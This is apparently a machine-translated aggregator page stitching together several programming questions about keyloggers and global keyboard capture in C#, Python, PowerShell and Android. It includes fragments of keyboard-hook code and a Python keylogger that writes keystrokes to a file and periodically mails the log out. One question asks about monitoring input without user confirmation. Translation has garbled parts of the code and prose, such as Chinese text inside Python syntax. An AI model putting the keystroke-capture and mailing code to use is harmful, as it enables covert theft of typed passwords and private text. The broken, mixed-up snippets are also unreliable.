Powershell 可以监听并捕获按键吗?
是否可以编写一个 PowerShell 脚本,就像AutoHotkey一样,位于托盘中并等待您按下预定义的键盘键才开始执行?并且每次按下所述键时可能不会返回而是触发?
我想要实现的是 - 仅在启动脚本后按下按钮才执行预定义的脚本操作,因此将其放在桌面上并定义快捷键是行不通的。
例如:
我希望每次按“x”键时输入 3 次文本“TEST”,但我希望仅当执行此操作的脚本正在运行时才会发生这种情况。因此,当脚本未运行时 - 按“x”不会执行任何操作。
基本上,AutoHotkey 可以完全做到这一点,但如果可能的话,我想在 PowerShell 中执行此操作,而无需编写大量 C# 代码,因为那样我只需为此编写一个小型 C# 托盘应用程序。
它将密钥记录到文本框中,因此它是安全的.
问题问题是,当我在虚拟机或我的朋友笔记本电脑上运行它时,它按下一定数量的键(随机)后挂起.它在我的运行完全正常.
http://i34.tinypic.com/29o1im8.jpg
class GlobalKeyboardHook
{
#region Definition of Structures, Constants and Delegates
public delegate int KeyboardHookProc(int nCode, int wParam, ref GlobalKeyboardHookStruct lParam);
public struct GlobalKeyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
const int WH_KEYBOARD_LL = 13;
#endregion
#region Events
public event KeyEventHandler KeyDown;
public event KeyEventHandler KeyUp;
#endregion …Run Code Online (Sandbox Code Playgroud) 我可能会编写一个程序来检测作为密钥记录的恶意(或非恶意)软件(记录关键笔划以获取信息).
我试图在下个月分析我的击键,并希望将一个简单的程序放在一起.我不想完全记录命令,只是简单地生成关键按键的一般统计信息.
我是python中最舒服的编码,但我对其他建议持开放态度.这是可能的,如果是的话,我应该看看哪些python模块?这已经完成了吗?
我在OSX上,但也有兴趣在Ubuntu盒子和Windows XP上这样做.
我目前正在开展一项涉及人们在Android设备上玩游戏的研究项目.我希望能够编写一个记录加速度计和触摸事件的Android应用程序.我希望我的用户能够玩愤怒的小鸟等游戏,同时记录他们感人的数据.
我知道这种类型的数据收集可以在应用程序内部进行,但是可以从应用程序外部进行吗?(也许是通过在后台运行的应用程序?)
如果这是不可能的,还有其他选择吗?(我相信我理论上可以进入android OS源代码并实现这一点?)
如何创建一个对用户完全明显但在屏幕截图中不可见的窗口.我知道这是可能的,因为Neo SafeKeys(用于击败键盘记录器的屏幕键盘)没有出现在我安装的键盘记录软件的截图中.
为了给你一个想法,窗口对用户是完全可见的,但是当拍摄截图时,Neo SafeKeys窗口根本不显示(好像它甚至不存在).
Neo SafeKeys声称它在窗口上方使用了一个隐形保护层来防止屏幕截图.我已经在互联网上搜索过,看看我怎样才能重现这一点,但无济于事.有没有人知道如何执行此操作(用户可见但在屏幕截图中不可见的窗口)?
def file_input(记录):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
Run Code Online (Sandbox Code Playgroud)
如果name ==" main ":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
Run Code Online (Sandbox Code Playgroud)
我试图在python中写一个键盘记录器,我遇到类型错误,我怎么能解决这个问题?
我只是将记录变量放入write()中,它使类型错误,记录变量类型为list.所以我尝试使用join func但它没有用
我正在尝试捕获按键操作,以便在按下给定组合时触发事件。
我四处寻找有关如何开始的提示,我能找到的最简单的代码片段是在 Python 中 - 我从这里获取了下面的代码。但是,当我从终端运行它并按下一些键时,在“按一个键...”语句之后没有任何反应。
我傻吗?任何人都可以解释为什么什么也没有发生,或者提出一种在 Linux 上实现这一目标的更好方法(考虑任何语言!)?
import Tkinter as tk
def key(event):
if event.keysym == 'Escape':
root.destroy()
print event.char
root = tk.Tk()
print "Press a key (Escape key to exit):"
root.bind_all('<Key>', key)
# don't show the tk window
root.withdraw()
root.mainloop()
Run Code Online (Sandbox Code Playgroud) 我用一个简单的文本框编写了一个应用程序,试图从他们的打字习惯中识别用户(按键之间的间隔,持续时间键,按键之间的时间,即a-> s比某些用户的a-> v更快根据打字风格,其他人更短).它远非完美,但它确实正确地识别出中等大小的风格差异.
我希望将其用作安全监视器的一种形式 - 如果用户的键入样式不符合已识别的模式,请向中央服务器报告.
当然,测试它的下一步是开始捕捉"常规"打字习惯 - 即浏览时,在应用程序之间切换等.
我无法弄清楚怎么做是捕获所有应用程序的键盘输入(不包括登录/欢迎屏幕,备用桌面等 - 我没有理由解析它,并且可能没有足够的输入来分析)
免责声明:是的,我知道这非常接近于编写一个禁止使用的键盘记录器,但如果我想这样做,我会用C++编写一个键盘驱动程序 - 我相信它会更加简化,更容易混淆.一个笨重的.Net MSIL组件.我毫不怀疑我会抵挡"那是一个键盘记录器"的评论,但我已经碰壁了,需要问某个地方......
我不需要隐藏应用程序 - 但理想情况下能够在没有明确用户确认的情况下捕获输入(除了管理员安装) - 如果需要用户确认,我可以忍受(只是)如果可以是一次性的,我有办法监控和报告否认.
这在.Net中甚至可能吗?我能够找到的唯一例子是通过向每个看起来很笨重的键添加一个事件挂钩来操作,我认为这很容易出错. - 或 - 他们轮询键盘状态以确定按下的键.这对我来说没有好处,因为a)我需要精确的按键时间,所以关键的上/下事件是必须的,而b)这是令人讨厌的.
如果框架旨在明确禁止这种情况,我不会感到惊讶,在这种情况下,我将不得不回退到一些非托管代码来提供事件.我显然更喜欢一直使用托管代码.
任何帮助赞赏.
编辑:感谢Hans Passant的回答,这是迄今为止我发现的最好的资源:http://www.codeguru.com/columns/vb/article.php/c4831
我正在用C#编写一个键盘记录器,但是在从键盘事件中调用我的钩子方法时遇到了一些麻烦.我的代码看起来是正确的但由于某种原因回调没有发生.
这是相关代码:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install …Run Code Online (Sandbox Code Playgroud) keylogger ×10
c# ×3
keyboard ×3
.net ×2
python ×2
android ×1
background ×1
capture ×1
events ×1
global ×1
hook ×1
hotkeys ×1
keylistener ×1
keystroke ×1
linux ×1
powershell ×1
transparent ×1
user-input ×1
vb.net ×1
window ×1